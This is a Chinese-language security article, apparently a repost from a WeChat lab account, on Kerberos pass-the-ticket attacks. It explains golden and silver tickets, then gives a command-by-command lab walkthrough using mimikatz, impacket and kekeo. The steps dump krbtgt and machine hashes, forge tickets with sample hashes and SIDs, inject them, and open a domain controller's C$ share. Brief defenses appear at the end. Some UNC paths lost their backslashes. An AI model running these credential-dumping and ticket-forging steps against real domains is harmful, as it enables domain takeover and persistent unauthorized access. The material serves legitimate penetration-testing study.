PTT(Pass The Ticket)票据传递攻击分析

  • A+
所属分类:安全文章

一、票据传递介绍

0x01 票据传递介绍

         票据传递攻击PTT(Pass The Ticket)是基于Kerberos认证的一种攻击方式,常用来做后渗透权限维持。黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM哈希或AES-256的值,白银票据攻击利用的前提是得到了域内服务账号的NTLM哈希或AES-256的值。票据传递攻击常用来做域控权限维持。

0x02 域内用户介绍

PTT(Pass The Ticket)票据传递攻击分析

         在上图中,主要关注guest和krbtgt账号。guest默认关闭,krbtgt为域内默认创建的账号。了解Kerberos协议的就会知道,TGT是由KDC的密钥生成的,其实域中每个用户的票据都是由krbtgt的密码Hash来计算生成的,因此只要拿到krbtgt的密码Hash,就可以随意伪造票据,进而使用票据登录域控制器。

0x03 为什么使用票据传递

          因为如果想要使用mimikatz的hash传递,必须具有本地管理员权限。如果使用票据传递PTT(Pass The Ticket),则不需要使用管理员权限,仍旧可以进行横向移动。

二、票据介绍

0x01 黄金票据介绍

         假设域内存在一个 SID 为 502 的域账号 krbtgt 。krbtgt 是 KDC(密钥发放中心)服务使用的账号,属于 Domain Admins 组,在域环境中,每个用户账号票据都是由 krbtgt 生成的,如果攻击者拿到了 krbtgt 的 NTLM Hash 或者 AES-256 值,就可以伪造域内任意用户的身份,并以该用户的身份访问其他服务。

         使用krbtgt用户hash生成的票据被称为黄金票据(Golden Ticket),黄金票据的原理是:通过伪造TGT(票据授权票据),没有与KDC(密钥发放中心)进行AS-REQ(认证服务请求)、AS-REP(认证服务响应)通信,直接进行TGS-REQ(票据授权票据请求),向KDC(密钥发放中心)进行请求以获得高权限票据,可以说有了黄金票据就有了域内的最高权限。

0x02 黄金票据制作条件

(1):域名称
(2):域的SID值
(3):域的krbtgt账户密码HASH
(4):伪造用户名,可以是任意的

0x03 白银票据介绍

         白银票据(Silver Ticket):即伪造的TGS(票据授权服务)票据,也称ST(服务票据,也就是在第三次认证中主要用于Client和Server通信上)。通过伪造的TGS(票据授权服务),可以直接发送给Server,访问指定的某个服务,来进行攻击。此过程无需KDC(密钥发放中心),可以绕过域控,很少留下日志。黄金票据使用krbtgt账号的密码散列值,利用伪造高权限的TGT向KDC要求颁发拥有任意服务访问权限的票据,从而获取域控权限。而白银票据会通过相应的服务账号来伪造TGS,例如:LDAP、MSSQL、WinRM、DNS、CIFS等,范围有限,只能获取对应服务的权限。

0x04 白银票据制作条件

(1):域名称
(2):域的SID
(3):域控服务器账户的NTLM-Hash(获取方法是可能域内某主机的hash和域控服务器的hash相同)
(4):伪造任意的用户名

三、使用mimikatz进行票据传递

0x01 使用mimikatz进行黄金票据传递

(1):登录域控获取域控管理员票据信息

         在这里要说明一下,票据传递是进行权限维持的手段,不是获取域控权限的手段。使用票据传递是已经拿下了域控服务器,为了进行后续权限维持,因此,在进行票据传递时,是已经拿下了域控,所以在域控上上传mimikatz等工具也是合理的。

privilege::debuglsadump::dcsync /user:krbtgt

PTT(Pass The Ticket)票据传递攻击分析

我们需要记录如下内容:

①SID,记住SID是不包含-502的

②hash NTLM

③aes256_hmac

(2):在域内某成员主机上生成黄金票据并导入

  • 方法一:

privilege::debug  #提权kerberos::golden /user:要伪造的域用户(我们这一般写域管理员) /domain:域控 /sid:域控的sid值 /krbtgt:krbtgt的哈希 /ptt  #生成票据并导入

如下所示:

privilege::debugkerberos::golden /user:administrator /domain:wwl /sid:S-1-5-21-1335816226-58791740-2223385448 /krbtgt:fead10ee1fca9e0045fb7ee4387a18a3 /ptt

PTT(Pass The Ticket)票据传递攻击分析

  • 方法二:

privilege::debug  #提权kerberos::golden /user:要伪造的域用户(我们这一般写域管理员) /domain:域名 /sid:域控的sid值 /aes256:aes加密串 /ptt  #生成票据并导入

如下所示:

privilege::debugkerberos::golden /user:administrator /domain:wwl.com /sid:S-1-5-21-1335816226-58791740-2223385448 /aes256:42f4f174568fa1208117646f6654b754f7f76e63ba2f6af8e5432888f0995eb6 /ptt

PTT(Pass The Ticket)票据传递攻击分析

(3):查看票据

  • 方法一:在域成员主机上的CMD窗口可以查看到该票据

klist

PTT(Pass The Ticket)票据传递攻击分析

  • 方法二:在mimikatz中查看票据

privilege::debugkerberos::listkerberos::tgt

PTT(Pass The Ticket)票据传递攻击分析

(4):进行磁盘映射

net use j: \192.168.223.10c$dir j:

PTT(Pass The Ticket)票据传递攻击分析

(5):删除票据

privilege::debug     #提升权限kerberos::purge      #删除票据

PTT(Pass The Ticket)票据传递攻击分析

0x02 使用mimikatz进行白银票据传递

白银票据会通过相应的服务账号来伪造TGS,例如:LDAP、MSSQL、WinRM、DNS、CIFS等,范围有限,只能获取对应服务的权限。

(1):使用mimikatz获取域内服务器hash

说明:黄金票据主要是要获取域控的krbtgt用户的NTLM值,这个是需要经过域控的,而白银票据是直接在域内主机上使用mimikatz抓取域内主机账号NTLM(该账号的NTLM值与域控的NTLM值相同),因此两者是有差别的。相对来说,白银票据更加隐蔽,不需要经过域控。

privilege::Debugsekurlsa::logonpasswords

PTT(Pass The Ticket)票据传递攻击分析

(2):进行白银票据传递

kerberos::golden /domain:域控 /sid:域控的sid值 /target:域控主机名 /service:cifs /rc4:hsah /user:要伪造的域用户(我们这一般写域管理员) /ptt  #生成票据并导入

如下所示:

kerberos::golden /domain:wwl.com /sid:S-1-5-21-1335816226-58791740-2223385448 /target:WIN-LUG1HV7BGTV.wwl.com /service:cifs /rc4:afffeba176210fad4628f0524bfe1942 /user:administrator /ptt

PTT(Pass The Ticket)票据传递攻击分析

(3):查看票据

klist   #命令行执行

PTT(Pass The Ticket)票据传递攻击分析

(4):访问域控的C盘

dir \WIN-LUG1HV7BGTVc$

PTT(Pass The Ticket)票据传递攻击分析

四、使用impacket进行票据传递

0x01 使用impacket进行黄金票据传递

(1):登录域控获取域控管理员票据信息

privilege::debuglsadump::dcsync /user:krbtgt

PTT(Pass The Ticket)票据传递攻击分析

(2):清空票据

klist purge

PTT(Pass The Ticket)票据传递攻击分析

(3):制作ccache文件

python ticketer.py -nthash fead10ee1fca9e0045fb7ee4387a18a3 -domain-sid S-1-5-21-1335816226-58791740-2223385448 -domain wwl.com administrator

PTT(Pass The Ticket)票据传递攻击分析

(4):更改环境变量

路径为文件administrator.ccache存储的位置

set KRB5CCNAME=C:impacketadministrator.ccache

PTT(Pass The Ticket)票据传递攻击分析

(5):验证成果

python wmiexec.py wwl.com/administrator@WIN-LUG1HV7BGTV -k -no-pass

PTT(Pass The Ticket)票据传递攻击分析

获取域控权限。

注意:说一个容易踩坑的点,之前没有绑定域名,访问之后直接会连接外网,可以直接修改hosts文件,进行域名绑定。

PTT(Pass The Ticket)票据传递攻击分析

五、使用kekeo进行票据传递

0x01 使用kekeo进行黄金票据传递

(1):下载kekeo

下载链接:https://github.com/gentilkiwi/kekeo/releases

(2):获取域用户NTLM Hash

privilege::debugsekurlsa::logonpasswords

PTT(Pass The Ticket)票据传递攻击分析

(3):使用kekeo生成票据文件

kekeo     // 进入kekeotgt::ask /user:用户名 /domain:域名 /ntlm:NTLM Hash   //生成票据

如下所示:

kekeo.exe "tgt::ask /user:administrator /domain:wwl.com /ntlm:AFFFEBA176210FAD4628F0524BFE1942"

PTT(Pass The Ticket)票据传递攻击分析

在域内主机win7上尝试失败了,在域内主机win10上尝试成功了。

会生成一个文件[email protected][email protected]

(4):清除其他票据

kerberos::purge        // 清除内存中的其他票据

PTT(Pass The Ticket)票据传递攻击分析

(5):导入票据

kerberos::ptt TGT_administrator@WWL.COM_krbtgt~wwl.com@WWL.COM.kirbi     // 导入票据

PTT(Pass The Ticket)票据传递攻击分析

(6):退出kekeo

exit


PTT(Pass The Ticket)票据传递攻击分析

(7):查看域控磁盘

dir \域控主机名c$

如下所示:

dir \WIN_LUG1HV7BGTVc$

PTT(Pass The Ticket)票据传递攻击分析

成功获取域控C盘内容。

六、黄金票据和白银票据区别

0x01 访问权限不同

  • 黄金票据Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限

  • 白银票据Silver Ticket:伪造TGS,只能访问指定的服务

0x02 加密方式不同

  • Golden Ticket由krbtgt的Hash加密

  • Silver Ticket 由服务账号(通常为计算机账户)Hash加密

0x03 认证流程不同

  • Golden Ticket的利用过程需要访问域控

  • Silver Ticket不需要

0x04 隐蔽性不同

  • 白银票据依赖于服务账号的密码散列值,而黄金票据需要利用krbtgt账号的密码散列值,因此白银票据更隐蔽。

七、票据传递总结

0x01 注意事项

(1):使用dir命令时,务必使用主机名。如果使用IP地址,就会导致错误。

(2):票据文件注入内存的默认有效时间为10小时。

(3):在目标机器上不需要本地管理员权限就可以进行票据传递攻击。

0x02 防御方法

(1):黄金票据:从攻击面来看,获取krbtgt用户的hash后,可以在域中 进行持久性的隐藏,并且日志无法溯源,但是需要拿到DC权限, 使用黄金票据能够在一个域环境中长时间控制整个域。从防御角度来看,需要经常更新krbtgt的密码,才能够使得原有的 票据失效。最根本的办法是不允许域管账户登录其他服务器。

(2):白银票据:从攻击面来看,伪造白银票据的难度比伪造黄金票据的 难度较小,因为一个域中的服务器如果对外的话,非常容易被入侵, 并且容易被转储Server Hash。从防御角度来看,需要开启PAC认证,但这会降低认证效率,增加 DC的负担,最根本的还是要加固服务器本身对外的服务。

本文始发于微信公众号(零度安全攻防实验室):PTT(Pass The Ticket)票据传递攻击分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: